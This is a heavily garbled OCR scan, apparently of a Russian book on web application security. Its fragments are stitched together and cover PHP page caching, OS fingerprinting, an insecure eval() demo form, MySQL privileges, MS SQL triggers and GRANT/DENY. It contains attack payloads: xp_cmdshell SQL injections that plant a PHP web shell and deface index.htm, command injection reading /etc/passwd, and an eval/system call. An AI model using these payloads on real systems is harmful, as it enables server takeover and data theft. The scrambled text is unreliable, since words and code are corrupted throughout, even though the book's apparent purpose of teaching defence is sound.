AytoueM obpaimenny K 37oi xe Web-cTpanuue cuesapuii nposepseT Hanuuue
31U, U EC/TH OH CYLIECTBYET, To 3arpy:xaer ero. Takum oGpazom, ne HyxkHo Gyner
3aHOBO opmuposaTe Web-cTpaHuiy, SyAeT CHHKEHO KOAMMECTBO ofpameHuit
K Ga3e S@HHBIX ¥ JHAYMTE/ILHO YMEHBLINTCA HATPY3Ka.

Jlns kawuposanua Web-crpanuy y PHP wer rotosoro u adekrusnoro peiue-
HHUA, 12 U HE MOXET sblTb, MOTOMY YTO 3TO peLUEHHE HE MOXET BRITH YHHUBED-
canbHeiM. Bece TIPUXOAUTCA CO3NAaBATH CAMOCTOATEIIBHO, NO3TOMY B NAHHOM pa3-
Zene HAM NPeACTOMT pacCMOTpeTh BO3MOKHBIN BapHaHT pelleHKns npOGﬂeMbl
K3LIHpOBaHKA.

Jlapaiite nmogymaeM, kak OGwemMHWTL K3iuMpoBasue Bbisona (cm. pazd. 8.3.1)
¥ kaimuposanue Web-crpaHull. Eciin 06benMHITS 3TH ABE TEXHOTOTHY U HEMHOTO
NonyMaTh, TO NPUMEp peanu3audy kamuposanus Web-ctpasuu craner ouernn-
HEIM (nMcTinr 8.1).

<?php
// SyMxuis uTewus kawa
function ReadCache ($CacheName)
¢
if (file exists{'cache/$CacheName.htm"})
¢
require("cache/$CacheName.htm") ;
print ("<HR>CTpasMua sarpysena w3 xawa“};
return 1;
}
else
returm 0;

// ®yHKUMA 3aNMCH K3Wa
function WriteCache{$CacheName, $CacheData)
{

$cf = @fopen(“cache/$CacheName.htn", "w")





index-183_1.png
SQL-uwvekuus (PHP + MySQL) 179

HOBHTH AaHHbIC TAKKe 3akaHuWsaKCh Heynauel. Toraa A pewmnn nonpoBosate
nomyunTs focTyn k (afinoBo¥ cHcTeMe uepes iyHKUMM LOAD_FILE M into
outfile, HO CHOBA MEHA XKIa/a HEYAa4a,

Puc. 5.9. Owubka SQL

EauncTBeHHOE, 4TO A MOT enaTh — NPOCMATPHBATH TAGNHUL H BBIMONHATS 10+
6ble 3aNpockl SELECT, HO Tak KaK B NOCTYIHBIX Tabniiax HUYero ocobeHHOro He
66110, TO M NoMaTk GBINO Heuero. BOT YTO 3HAYWT NPaBUABHAA HACTPOHKA, KOTO=
pas cnacaeT Aaxe OT HEOMBITHBIX PYK NPOrPAMMUCTOB.

SaraaHys Ha Web-caift paspafoTauxa u npocMoTpes Bee HX paboTsl B mopTdonno,
A BBIACHMI, 4TO NofobHas ownGxa HaxoauTea B nonosuHe Web-caiitos, koTopuio

pa3pabaTeIBATMCh 3TOH KoMnaHweH. Ju3aitHel pUCYIOT OT/MMHBIE, a BOT NPOrpaMs
MHCT ABHO HEONBITHBII.

Hecmotpa Ha 7o, 4ro Gesonackocts Web-cepaepa, B OCHOBHOM, 3ABHCHT OT Bbl
HONHAEMBIX 1A HEM CLICHAPHEB H NPOTPAMMHCTOR, KOTOpPDI® HX BHULYT, 6CTh ACH
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1.3.1. OnpepgeneHne TMNa onepauMoHHON CUCTEMBI

CraHupoBaKue — 3TO BCETO JIAUIL HAYANBHBIN 3Tan, KOTOPEIH Aan BaM HHpOpMa-
UMK A8 pasMBILITEHHA. Camoe rnasHoe — ¥3HaTb, kakasg UHMEeHHC ocC YCTaHOB-
JieHa Ha cepBepe. HKenarebio UMETh CBEAEHHA O BEPCHH, HO 3TO yAacTCA BbIAC-
HHTb HE BCETr/a, 1a M Ha NEpBbIX NOPax M3YHYEeHWA CHCTEMbl MOXKHO oboitruce Ges
KOHKpPETH3aLHH. I'naBHoe umeTh 4eTKOE npeacTaBicHUe o6 MCHOHbByeMOﬁ nnar-
dopme: Windows, Linux, BSD, Mac OS unu ap. OT 31010 3aBUCHT OYieHb MHOTOE!

0 kakue NPOrpaMMBl MOTYT GbITh YCTAHOBNEHBI Ha CepBepe;

O kakue KOMAHALL MOXHO BbITIONHATS;

0 rae HaXoaHTea HHGOPMAaLKA O MOMLIOBATENAX U HX N2PONAX;

O rae moxeT Goith ycTanoneHa OC (B kakoii narnke WK B KaKOM pasaene);
0 kaKue CylWeCTBYIOT y#3BUMOCTH s fiakHol OC.,

Jlta onpenenenna OC 1 ee BEepcHH MOry NOCOBETOBATb CKaHep Ge30nacHoOCTH
Shadow Scan (www.rsh.kiev.ua). Kpome Toro, at2 nporpaMma ymeer onpeaensTs
BEPCHM YCTAHOBIIEHHBIX CIYHG. DTO MOKET BAM OYEHb CHABHO nomoub. Jomyc-
THM, Bbl Y3H&NH, YTO HA KOMMblOTEpe ycraHoRieH Web-cepaep. Ilomnumo 3toro
W3BECTHO, YTO MCHOMB3YETCA OnepaunoHHas cicTema Windows. MoxHo npeano-
JOXUTB, yTo B kadectse Web-cepeepa BuicTynaer IIS, Ho 3Ta runoresa Moxer
¥ He NoATBepAHTLCA: A Windows ectb peannsauus cunbreiiuero Web-cepaepa
Apache. MoryT 6bITh ¥ Opyrue, XOTs 9TH B2 — CaMble NOMYAAPHBIE. A TaK kak
HX B3OM MPOH3BOAWTCH RO-Pa3HOMY, TO B MePBYIO Ouepellb HAC MHTEpecyer,
KaKOH M3 HHX YCTAHOBNEH Ha JIRHHOM KOMMBIOTEpe.

EnuncTeennuiii vexoctaTok Shadow Scan: npu onpesenewny sepciau OC nposie-
NAMach owHGKa, NPUBOAAMAN K 3aBucaHmio. Ho B nocnesieli Bepciy nporpaMmbl
3TOT HEAOHET, KAkKeTCA, Bhisl yeTpaHeH.

Kax onpeanensetca Tin OC? JIng 3TOT0 €CTh HECKOABKO cnOcoGoB.

L. Io peannsaunn nporokona TCP/IP. B pasnnunbix OC no-pasHoMy opraHu-
30BaH CTeK npoTokojios. Shadow Scan NpocTo aHaNMIMPYET OTBETHE cepaepa Ha
3anpock W 1aeT COOTBETCTBYICIUEE 3aKAKOYEHHE. B OCHOBHOM 3TOT BLIBOA pac-
neByarhiti: Windows uan Linux. TouHyto sepcuio TakuM o6pazoM y3HaTh He-
BO3MOKHO, NoToMy 4To B Windows 2000/XP/2003 peanusauva npoTokona npax-
THYECKH HE MEHNJIACh, M OTKAHKK GynyT oguHakoseiMu. Jaxke ecamn nporpamma
onpeaeNia, UTO Ha CepBepe yCTaHoBACH LinuX, To KakoH MMEHHO AWCTPHOYTHB
BAM HHMKTO HE CKAKET, a BEAb YARBMMOCTH B HMX pasdbie. M nostomy Takas
HHOPMALMA — ITO TOALKO YACTL HEOBXOAUMBIX IaHHBIX jL1A B37IOMA.

2. Mo orsetam cayxB. JonyctiM, 4TO Ha cepBepe XKEPTBLI €CTh AHOHUMHLIN
noctyn no I'TP. Bav Hy)HO BCErO JIMIWE NPUCOSAMHUTECA K HEMY H NOCMOT-
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<HTML>

<HEAD>

<TITLE>Eval test</TITLE>

</HERD>

<BODY>

<center><h3>Eval test</h3></center>
<hr>

<form name="syst" action="evaltest.php" method="get">
Command: <input name="command* size=50>

<input type="sulmit" value="Find">

</ form>

<hr>

<?
if (isset($_GET|'cammand')})
s
$command = $_GET['command']:
print(“Executed command: <b>$command</b><P>");
eval ($command) ;
}
2>
</BODY>
</HTML>

Dot curerapuii oTobpaaet Ha Web-ctpanuue dopmy ana ssona. Mocne waxatus,
xuonkn Find conepxumoe nona seoxa nepexaerca. [onpoGyiiTe sanycTuTs 3T0T'
clieHapuii ¥ NiepenaTh CISAYIOULYIO CTPOKY:

print{system("ls -al"});

B pesyneTate dysKnua eval BBIONHMT 3TOT KOX, KOTopbil oToGpakaeT pesysb-.
TaT BLINONHEHHA QYHKUMY system, 2 3TON (YHKLMM MBI FIEPelaeM KOMaHy 1s -al,
KOTOpas BLIBOJHT COAEPHKHMOE TEKyLIEH TUPEKTOPYUM.

Huxoraa He uenons3yitre GyHxumio eval. Ona ynoOHa ToIbKO TOTAQ, KOTAA HYX-~
HO BBIMONHATL KO/, HaXOAALMACA B nepemenHoM. Ecnn nepementas nponucana
B CLIEHApHH, TO NMPOIIe HAMKCATh 3TOT koA Ge3 eval. Hy, a ecnu ganHeie nepena-
10TCA OT NONL30BATENA, TO ITO OrpOMHas AbiPa B BE30MaCHOCTH, KOTOPYIO OYeHb
CNOXKHO, @ MHOTAA HEBO3MOXHO 3AKPBITh.

Ecnu 4ecTHO, TO 5 HE BUAEI TAKOTO CAy4asn, KOrjaa Henb3a 6bio Gul oboiTHes Ge3
(hyHKUMH eval. S pekOMERIYIO 3a6biTh NIPO HEE M HYKOTAA HE MCTIONBIOBA D,





index-125_1.png
B3nom PHPcyenapues 121

Cnenytomuii crioco 3ampeTa npaMOro AOCTYNa K CUEHAPHAM Yxke Aomked BuiTh
BaM uWasecTeH {ca. pasd. 3.4): a UMelo B BUAy ucnonblosanue (ajina htaccess.
Tak Kak HEOGXOJMMO 3afpEeTHTh MPAMOH BBI30B CLEHAPUA W3BHE, TO 3TO JETKO
Peanu3oBaTh ¢ IOMOIbIO IPAB A0CTYTIA.

Yro Beibparh — .htaccess unu koscTantsl? S npearnouuTaro Ucmonblosars ofa
BAPHAHTa M MHOTAA AaXe omHoBpeMeHHo. IMouwemy? Ilotomy uro ofa meroma
HMEIOT CBOW HEJOCTATKH, KOTOPHIE Bbl NOMKHbI 3HATH:

0 ecnn ucnone3oBaTh KOHCTaHTbl, TO MOXET BO3HUKHYTb CHTyauWs, KOTA2 Bbl
npocTo 3abyneTe caenaTh HEOGXOIUMYIO POBEPKY, U (aiin CTAHET LOCTYIHBIM
Ana npaMoro obpaienns Yepes URL. Bee Mbt 11041, Bee Mbl HHOTZIA YITyCKASM
YTO-TO U3 BUAY WnH BanasnbHO 3abbiBacM Caenath;

) MOXHO NpOnUCHBATE kaxabiil daiin B oTaenbHOCTM B .htaccess, HO BbI TaKKE
MoxeTe 3a6biTs CAENaTH 3TO 14 ONPEASNEHHOTO hailna;

0 MOXHO CO3ATH OTAENbHYIO NHPEKTOPHIO, 3ATIPETHTE NPAMOT JOCTYN K dadiiaM
B 3TOH JMUPEKTOPHM M3IBHE W CKJIANBLIBATH CIONA BCE MPOMEIKYTOUHbIE MOLYSH.
Ho TyT MOKeT BOSHHKHYTH CREAYIOLIAN CUTYaLMS: onuH (alin noHanoburcs 8
ZPYTOM MECTE ¢ MHHHMAIBHBIMY H3MEHEHHAMY, Bbl CO3)2€Te KONKIO B APYTOH
JIMPEKTOPHH, BHOCHTE HIMEHEHHS U TIOAYUaeTe yAIBUMOCTD, NIOTOMY YTO B HO-
BOH TUPEKTOPUH MOXKET Y He GbITh 3aKThl yepes daitn .htaccess.

Hmenno FIO3TOMY A CTAparoth HCNONb30BaATH oba METOAA 38LUKMTE] OAQHOBPEMEHHO.
I'[poMe)Ky'rquble MOAYNY, KOTOpbIE HE JO/IXKHbI BBI3LIBATHCA HAMPAMYIO, A CKNa-
JblBAI0 B OTIENbHYIO AHPeKTOpHIc Ha Web-cepBepe, 3auwMlueHHYIO GaiinoMm
.htaccess, # HCRIONB3YIO KOHCTaHTY, KOTOPasd MAPAHTUPYET, 4TO Npu Aepesoce daki-
fa JOCTYR K HEMY BCE paBHO GyZIeT orpanyteH.

HaliTn npomexxyTouHbIe MOIYH AOCTATOMHO CAOXKHO, €CK BLI HE UMEETe AaKe
Maneiiuero npeacrasieHns o6 MCxoQHOM Koae nporpaymer. Boimoxao, MMenHo
Ha ITO HAACIOTCA MPOTPAMMYCTSI, KOFAA FMWLIYT CUCHAPHHA 1A ONPEAEHEHHOrO
Web-caiita. Pa3 310T koa nurae Gonbue He GYAET HCMOAL30BATECH W €TO HHKTO He
YBHAMT, 3Ha4dT He CTOUT OBPALIATh BHHMAHKA Ha TakMe Menous. Ho 370 cephes-
Has omubka. ECTh MHOPO CNyuaes, KOFAa HCXO/IHBIE KOIbl YXOHMTH U3 NOCTATON-
10 3alUMLEHHBIX kOMNanuii, Hanpumep, Guin nogobuwi caydaii ¢ ueTENNEKTY-
anbHol coberBennocTeio Microsoft, o kotopom Hacnbitian Bech MHp. A eciH
X4KEP 334aCTCS UETBIO YKPACTh UCXOAHKIE KOABI Y HEOOMbLIOH KOMITAHWK MAH
11POrpaMMHCTa-OIHHOUKH, TO BTIONHE BO3MOXHO, YTO Y HErO 5TO NOAYHHTCA.

3.5.3. CkpbiTble yHKUNU

WMioraa 6riBaeT neobxoanmocTs co3naTh Ha Web-calite dyHkuuio, xoTopas He
nomkna GerTh RocTynHa BeeM. Hanpumep, na dopyme moxer G5ITh BOIMOXKIIOCTS
YUPABICHAA COOBINCHUAMH H CCBUIKH HA CLEHAPHH, KOTOPEIE HCNOALIYIOTCHR MUIK
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0 Password — 3atMporanubIi NApO/b FOB3OBATENS;

O select_priv — eciu B 3T0# koMoHke Y, T0 [IOAE3OBATENIO PAa3PEILUSHO BbI-
[OAIHATE ONEPaTOp SELECT;

O Insért_priv — ecnu B 370f konoHke Y, TO MO/IB30BATENO Pa3peLieHO BCTAB-
JIATH HOBbIE 32MTUCH, T. €. BbIMOAHATE ONEPATOP INSERT;

O Update_priv — ecnin B 3T0H KOMOHKe Y, TO AO/B30BATENIO PA3PeELeHO OGHOB-
JATE AAHHBIE, T. €. BRINONHATL ONEpaTOp UPDATE;

O Delete_priv — ecau B IT0H KoJioHKe Y, TO NOMB3OBATENMO Pa3pEILEHO Yaa-
JIATh A2HHbIE, T. €. BHITIOAHATE ONEPAaTOp DELETE;

O create_priv — €Cnu B 3T0H Ko/ioHKe Y, TO NONE30BaTEN Pa3pelleso CO3a-
BaTh HOBble TaGnMnbI WK Gasy NAHHBIX, T. €. BEINOJHATL OMEPATOP CREATE
TABLE;

O Drop_priv — eciu B 5Toli koiouke Y, TO NOAL30BATENIO PAspelllEHO YAANATE
Tabauukl uny 6asy AAHHEIX, T. €. BBINONHATL ONIEPaTOp DROP TABLE,

0 Grant_priv — eciiH B 3T0# KONOHKe Y, TO MONB3OBATENIO PA3PELUEHO YrIpas-
ATk NpABAMHU AQOCTYNA, T. €. BHINOAHATD OnepaTopel GRANT W DENY;

O File_priv — ecnu B 310H KONIOHKe Y, TO NIONL3IOBATENO PA3PEILEHO IOMTYYAT
mocTyn K $hainoBoit CHCTEME C OMOWBIO ONEPATOPOB SELECT INTO OUTFILE
W LOAD DATA INFILE;

O Index_priv — ec/i B 3TOH KOAOHKe Y, TO NONK3OBATENIO PAIPEILIEHD YIPAB-
NATh WHASKCAMY: CO3AABATL M YAAIATE;

0 shutdown_priv — €c/u B 3T0H KOMOHKE Y, TO NMOAL3ORATENH Pa3’peLeHo oc-
TaHaBAKBATH paGoTy cepaepa;

O Process_priv — ¢cnu B 3To# KonoHke Y, TO OOJb3OBATENIO PaspelleHo
YNpaBAATE NPOLECCaMH CepBepa;

) Alter_priv — ec/id B 370l KONOHKE Y, TO TIONb30BATENIO PA3PEIIEHO HIME-
HATb CTPYKTYPY TaGIUULs, T. €. BLIOAHATE ONEPATOP ALTER.

Ecnu 81 XOTHTE TIPOCMOTPETH NpaBa AOCTYNA NOBIOBATENS TOOL, TO BHITIONHHTE
cneayowuuit SQL-3anpoc:

SELECT *

FROM mysql.user

WHERE User='‘root'

1o BoIBEIEHHOH TaGHLE XAKEP MOXKET Y3HATH He TOABKO TEKYWHE Nipasa AocTyna
HCEX NONL30BATENel, HO H HOGABATL HOBOTO NOMB3OBATENS WK U3MCIIHT YbH-TO
1pana, eciv y Hero GyJyT COOTBETCTBYIOUIME IIPABA HOCTYTIE.
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Hanpumep, eciiM BhY XOTHTE OPOBEPUTH CBA3L C ONPEAENEHHBIM KOMNLIOTEPOM
KOMaHA0H ping, TO MOXKHO BBINOAHHTL:

'; exec master..xp_cmdshell 'ping servername.com' --

C noMOWBIO MPOLEAYPH! xp_cmdghell MOKHO AOCTATOYHO TETKO CO3AATH KAKOH-
uubyns thalin, Hanpumep:

'; exec master..xp_cmdshell *"<?print(system($camd))?>" >> hack.php' --
Teneps, ecnu y Bac ycTaHoen uxteprnperatop PHP, Xakep cMOXET HCMonbio-
Bath aiin hack.php ana 6onee ynobSHOro BbINONHEHHS KOMAHA. A MOXHO TIPOM3-
BecTH U aedeiic. Ecnn rnasHas Web-ctpanuia 1o index.htm, To HocTaTo4HO BBI-
NOAHHTh!

‘: exec master..xp_cmdshell '*<H1>You a hacked</H1>" >> index.htm' ~-
ITpouenypa sp_who NO3BONAET NPOCMOTPETD, KTO Céifuac MOAKMOUSH K Cepsepy,
Hanpumep:

exec sp_who

ITpumep pe3yarTaTa BuINOAHEHHA 31oTo SQL-3anpoca:

9 0 background sa o master TASK MANAGER

10 0 background sa 0 master TASK MANAGER

11 0 background sa o master TASK MANAGER

51 0 runnable  CYD\flenov 0 Nerthwind SELECT

52 0 sleeping CYD\flenov 0  master AWAITING COMMAND

MoapobHyo HHGOPMALHIO O TeKyLlel Gase NaHHBIX MOKHO TMOJYHHTH H C ITOMO-
MBI (ipoueaypsl sp_help:

exec sp_help

| lpumep peayabTaTa BLITOIHEHNA 3TOH POUELYPhI:
NAME Owner Object_Type
st Brafiesieu Tun oGeexrta

lnvoices o view
Urder Subtotals o view
orders Qry o view
Wiarterly Orders dbo  view

finlon Ly Category dbo  view
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3YALTAT CPABHMBACTCA C XeUr-CyMMOi, Xpansuelics B gaitne. Ecau 3nHaueHns con«
RaH, TO CHHTACTCA, 4TO NapOib BBEAEH BEPHO.

Tax xax 06paTHOe MpeoGpasoBaHKe HEBO3MOXHO, TO, Bpoae 6bl, # nonotpats napomb
21 Xelll-cyMMb1 Henbkast. Ho 370 Tonbko Ha nepsbiii e3rasn. [l noxGopa cywectsyer
MHOTO nporpamM, Hanpumep, John the Ripper (www.openwall.com/john) wnu
Password Pro (www.insidepro.com). Jla, oni Hcnonb3ytoT npocroii nepefop, Ho,
KaK Mbl yKe COBOPHIH, NPH KCNONB3OBAHWH XOpOUIEro CROBaps Amke nepeGop
MOXET JiaTh NONOIKHTENbHbIA Pe3yNbTaT.

B Windows-cucremax naponu Takke umdpyioTca HeobpaTuMbIM ofpasoM, HO
XpaHsTca B Gase naHHBIX SAM, M T3 MX B3NOME HYXKHA Y)Ke ApYras yTWINTA —
SAMInside (www.insidepro.com). [ 1aBHOe OKHO TpOrpaMMBI NOKa3aHO Ha pic. 1.5,

Puc. 1.5. Mporpamma SAMInside BanamuBaeT naposu Windows-cuctem

l'loquy 3TH YTHUIIUTLI TaK CBO60/1HO nexar B ”HTCpHC’I‘C, KOrja OHH NOC3BONAIOT
3MOYMBIUAEHHUKY BOpoBath maponn? Jhobas nporpaMMa MONET HUMETh Kak
NOJNIOKUTENbHBIE, TAK H OTPHLATE/IbHbBIE CTOPOHBI. Yro JeNaTh, €C/IH Bbl 3abbiau
NapoNib aZMHHHUCTPATOPa, WIK aIMUHHUCTPATOP YBONMICA M He CKasan BaM ero?
TepeycTaHaBanBarh CHCTEMY? 3TO AOATO M MOXET [PO3HTb NOTepeld AaHHbIX.
HamHoro npoule CHATb ECTKUH IMCK M NOXKNOHUKTE K APYTOMY KOMAbIOTEPY
(M [POCTO 32rpy3UTBCA C AMCKETbI, ymelOlllel uuTaTh Bauly dalinoByio cHCTe-
My), NOTOM B3Tb (aiin naponed W BOCCTAHOBMTH yTepsnHyto uHbopmaumo. Mla,
9TO OTHUMET CIIMLIKOM MHOIC BpEMEHH, HO COXPAHHTL qu)cpMaumo WHOrAR
BaxHee. Jleno B TOM, YTO NApOAH aAMHHHCTPATOpa OUeHb HacTo ABNAIOTCA Ko~
'IMKOM H K JIpYrUM BRKHBIM J2HHBIM, HRNPHMEP, MOTYT ABIATHCA KIOHOM lu“¢-
POBAHHA XKECTKOI'C AHUCKa.
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onepauuio (Hanpumep, yaanenue JarHeX), 10 CYBJ] npocto He cmoxer BbInon-
HHTb 3TOro AeHCTBHA.

Cospemennste CYBJL, Takue kak MS SQL Server, Oracle u ap., ymelor paGorats
C TpUrrepaMy. 3T0 mporpaMmbl Ha ONPeAc/EHHOM s3blke (4awe Beero SQL unu
oo U3 ero pactunpenmii — Transact-SQL unu PL/SQL), xoTopble BbINORHAKOTCS
B OTBET Ha onpeaeneHHble coBbITHS. HanpuMep, MOXHC Ha3HaYUTL TPHUITEp Ha
yAaneHue, KO’melﬁ 6yne'r JONONHUTERBHO NPOBEPATh BOIMOXKHOCTh yAancHHs
3anuceit. Hanpumep, B3loMIAK, KOTOpBIH 3aX0MeT yAanMTh BCe AaHHElE, Gyaer
BbINOJTHATE KOMaHAY:

DELETE FROM TableName

Tpurrep MOMET NPOBEPHTD, €C/TH KOIMYECTBO yaanseMbiX 3anuceii Gonee 10, To
OTK/IOHWTDH TOMLITKY yAaleHHA, BblIATb OLI.IHGKy H, BO3MOXHO, A&KE OTNPaBHTH
cooBueHne apMuHncTpaTopy. TakuM 0Gpa3oM, JaHHble OCTAHYTCS B LESOCTHOCTH
H COXPaHHOCTH, K TIpH 3TOM &AMHHUCTPATOD CBOEBPEMEHHO Y3HAET O BTOPKEHUM.
KoHeuHo e, 57y 3alury Nerko 0GOMTH, €CTH YAAIATb JAHHBIE O HACTAM, HO 9TO
OTHUMET MHOTO BpeMeHH W He KMKAbIH BINOMULKK peurutes Ha 3710. K Tomy xe,
OYUCTHTL 683)’ JaHHBIX NOMCKOBOM CHCTEMBI TakuUM 06P330M NPaKTUYECKH
HEBOIMOXHO — /11 3TOMO MOTYT I'IOHMO6HTI:CH roaml.

C npyro#i cTOpoHEI, He 06A3aTENbHO yAaNaTh 3anucH. Xakep MONET NpocTo oGHo-
BHTb Ga3y, OGHy/HB Bee nons:

UPDATE Tab]laNama

BET filedls='', filed2s'' ...

Tax xakep 06o#aeT orpaHHUeHHe Ha YAANEHHE, HO MOXHO XKe 3aNPeTHTh U Macco-
Bbie 0GHOBNEHMA, Eciii BBl HMeeTe onbiT paGoTel ¢ Gasamu aaHHBIX, TO nonpoGyii-
Te peanusiosaTh NOAOGHYIO 3aIMMTY uepe3 Tpurrepsl. ITonoGHbit onbit B Ar0GoM
Cnydae BaM NPUTOAKTCA B Byayluem.

Bonee CoXHbIH MeTOA 32MMTHI TPeBYET OTNHUHOrG 3HAHMA Oasbi AAHHBIX M €€
paborsl. Hanpumep, Bbl TOUHO 3HaeTe, YTO YAANeHUE CTPOK MPOUCXOAMT O4EHB
penko. B 3T0M Cryuze MOXHO € MOMOUIBIO TPHITEpa 3anpeTHTh yaanenue Gonee
10 ctpok B aeHb. TyT MOXHO NpHUAyMaTh pa3iUYHble NPARHNA, BCE 32BUCHT OT
BaUIEro yMEHHA NPOTPaMMHUPOBATS M OT KOHKPETHOMN CHTYaLUH Ha CepBepe.

B GonbuiMHcTBe Crydaes aakHble Ha cepBepe BooGLLe paGoTaloT TONbKO Ha yBe-
NMHeHUe, 2 He YneH e, OITOMY ONepaLMio DELETE /U Y4ETHOM 3anHCH, Yeped
KOTOpYt0 paGoTaloT NpOCTHIE NONb30BATENH, MOXHO BOOGILE 3anpeTiTs. Jaxe
€C/IK B KaKOM-TO CueHapHH HeoGXOAMMO yaaneHue, TO MOXHO npocTo AoGaBuTe
B TaGnMUY elle OAHO nonte, koTopoe GyaeT onpeaenaTs BuaumocTs. Ecau 3nave-
HHME B MO]IC PaBHO EAMHMLE, TO 38NMCh HE HywHO oToGpanars (kak Gyaro owa
yhanexa). A korza Ha Web-caliT 3aXoaMT 2AMHMHUCTP2TOP, TO @ ITOT MOMENT
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w pesynsTat ofeux Gynet oTofpaxarscs Ha Web-crpannue. Ha puc. 4.3 nokasah
NpUMeEp BLIMIOAHEHHS TaKo# KOMAH/IbL, TONLKO % BHIMONHAN ping OAHOM H3 MALUMH
B cBOeit ceTH ¢ anpecom 192.168.1.1. B uepHOM NpAMOYTrOJbHHUKE [IOKa3al pe-
3yNbTAT BLINOJHEHHA KOMAHAB! s, @ 663 BoIIEACHHA NPAMOYTONIBHHKOM — pe-
3yNbTaT ping.

Puc. 4.3. PesynsTat BLINONHEHNA JBYX KOMaHA

A ecau nepepatk cTpoky "microsoft.com; cat /etc/passwd”, To B pesynnTaTe Bbl
YBHAHTE HA 3KpaHE CoAepxHUMOe d)ab'ma €0 CNHCKOM ﬂO!Ib3OBaTeJIeﬁ. KOHEYHO,
ecnn y Bac Gynet AOCTATOYHO NPaB Ha JOCTYR K 3ToMY haiiny.

lony4aercs, uto Takaa 0e3006vAHAS CHTYauHs MONET TNPHBECTH K CEPBE3HBIM
tipoGemaM, Beab ¢ NOMOLLbIO koMaHA OC XaKep erko MOKET BHIIONHHTL TakHe
olepaumuy, kak NpocMOTp CHCTeMHBIX dafinos, Takue ofpaleHHa omacHbl BHE
"HIBHCHMOCTH OT WUCTIONB3YEeMOTO A3biKa NPOrpaMMHPORAHNAS. l'lpu BbI30BE CHCTEMHBIX
KOMAH XaKep UCMOMB3YeT BOIMOKHOCTH OC, a He A3bika NPOrpaMMHPOBAHMA,
1 KOTOPOM HanMcanbl cueHapud. TIporpaMMucT nomken oBecnednTs NPOBEPKY
110yNaEMBIX OT T0Ab30BATENA AAHHBIX M 06EIONACHTH CHCTEMY OT BTOPKOHMA.
Il 3aGbialiTe, 4TO M3-3a OHOrO CUEHAPHA MOXKET NOCTPaNATs HE TONLKO Onpeae-
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Tocne coxpaHeHMs AaHHbIX, NEepefaHHbIX MONb3oBaTeNeM B TepeMeHAoN
$username, TICPCMCHHAA TIPOBCPACTCA ¢ MOMOHIBIO BYHKUMH checkvar. Teneps
nonpoGyiite mepenaTsh 4Yepes diopMy cnoBo hacker ¢ oaHHapHOH KaBBIYKOH Ha
KoHlle. B pesynsTate He 6yAeT HHKAKUX OWIMGOK, TIOTOMY “TO 3aMpPOC KOPPEKTER,
T. K. NIepe/ OAMHAPHOM KaBBINKOH MoABKTCSH ciaw (puc. 5.10).

Ntk backert

Puc. 5.10. Nocrne npoeepkn nepemMeHHol

TluwKTe 3anpochl aKKYpaTHO U Tak, 4TOGbl CHMBON MPOLIGHTA HE CMOT MIOBJNATH
Ha pesynbTaT paGoThl cueHapus. BeipesaTs 3T0T cHMBON B GONLUIMHCTBE CITy<aes
HET CMbICIA, PA3BE 4TO B MapaMeTpax, Yepes KOTOPhIS NepeaaloTcsa HMA NoxL30Ba-
TEAR U Napons.

Tlpobnema npoUeHTa M MOAYEPKMBAHMA OUEHb OMAcHA H TeM, 4TO GYHKIMH
addslashes U htmlspecialchars HUKAK HE BJIWAIOT HA 3TOT CHMBON M HE MOTYT
obezonacuts. EAMHCTBEHHLI CMOCOG: yGUpaTs CHMBOA MPOUEHTA C TIOMOLIEIO
peryaspHoro sbipakenns. Tonsko He 3abbiBaifTe, 4TO NPOLEHT H NOAHEPKABAHUS
paGoTaloT TONLKO TaM, TAC CPABHEHHE C MEPEMEHHOH MPOHCXOAMT © MOMOLRLIO
oflepatopa LIKE. B OCTanbHbIX CAY4asX NPOBEPKHM Ha ITH CHMBOMbE GeccMbiCe-
Hbl, OTOMY YTO OHU He PaGOTAIOT H HE MMEIOT CTIELIMATBHOrO 3HaueHns ans SQL-
cepaepa.

Ecau weobxonumo, utolst onpeneneHHas nepemeHdas Obina uMcnoBoft, To TyT
MOXHO MOCTYNHTE HEMHOrO NPOLue:

$id = (int) $_GET['id'];
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nUCaTh AAMHHUCTPATOPAM O TOM, YTO # 4TO-TO Hallen, NOTOMY YTO OHH YXKe SBHO
Bce 3HatoT. MouuTopusr Web-caiiTa Brie4ar/iaer M BbI3bIBaeT YBAKEHHE.
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Puc. 6.3. BLICTPo co3aaHHan aawuTa f

Tponoikas NPOCMOTP PE3Y/ILTATOR NONCKA, 3 HATKHYNCA Ha poccuiickni Web-
caiiT www.automarket.ru. YecTHo ckazars, 5 He NOHIA, KaK OH Ty/a HOMAL, BeAb
OH NOCBALIEH ABTOMOBUIIbHOM TeMaTHKE.

Gopym Ha 3ToM Web-caiite Taroke noctpoen na ASP + MS SQL Server u conep-
#MT yiimy owuGok. 3aiian Ha  Qopym, s yednen cneayiowumii  URL:
http://www.automarket.ru/forum/forum.asp’FORUM_ID=1&eat_id=6&Forum_
title=forum. Ecnn nepepate uepes napamMeTpsl FORUM_ID MM cat_id Kakog-TO
YHMCIO ¥ OAMHAPHYIO K4BBIYKY, TO Bbl yBUAHTC OWNGKY, KOTOPAA yKa3niBaeT H
BOMOXNKHYIO YASBUMOCTb.
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Heo6xonumo OTMETHTb, 4TO MO CTAHKAPTY HAAO MHCATh ALL PRIVILEGES, HO
Microsoft paspeiunna JNeHHBBIM NPOrpaMMMCTaM HE nWcaTh MIMHHOE CNOBO
PRIVILEGES. f], Hanpumep, scerna 3aGhisalo, KAk OHO MUINETCA, no3ToOMy Gnaro-
naped kopropauuu Microsoft. Hrak, ecin cleaoBaTh CTAHAAPTY, TO MBI AOIKHLI
6bi1i GBI HATHCATL 3A0POC HA UIMEHEHHE IIPHBIIETHHA CREAYIOMUM 06pasom:
GRANT ALL PRIVILEGES

ON tbPeoples

T0 Buh

JIna 3a8aHUA 3aNPETOB HCTIOTB3YETCA ONEpaTop DENY, KOTOPBI TaK e HMeeT 188
BAPUAHTA: 1A OMEPaTOPOR H OGBEKTOB. PACCMOTPHM KXKALIH U3 HUX.

OBuui BUK KOMAHAR! DENY [U19 OIIEPATOPOR BRITNSAUT CIEAYIOLAM 0Bpazom:
DENY ( ALL | statement [ ,...n ] }

TO security_account { ,...n |

Onepatopsi, KOTOPEIE MOryT MCMO/L30BATLCH, TE XKE, UTO U y GRANT. Hanpumep,,
CAeayIoWMii 3aNpoc ABHO 3anpewaer nonssosatento Hacker cosnasate TaGnuusl
 06BEKTEI NpocmMoTpa:

DENY CREATE TABLE, CREATE VIEW

TO Hacker

Ecnu HyXHO OTMEHHTb BCE NpaBa Ha OTIEPATOPbI, TO MOXKHO YKa3aTh KOu€Boel
cnoeo ALL. B crenyioluem npumepe OTMEHSIOTCS Npasa g Byxrantepuu:

REVOKE All !
FROM Buh

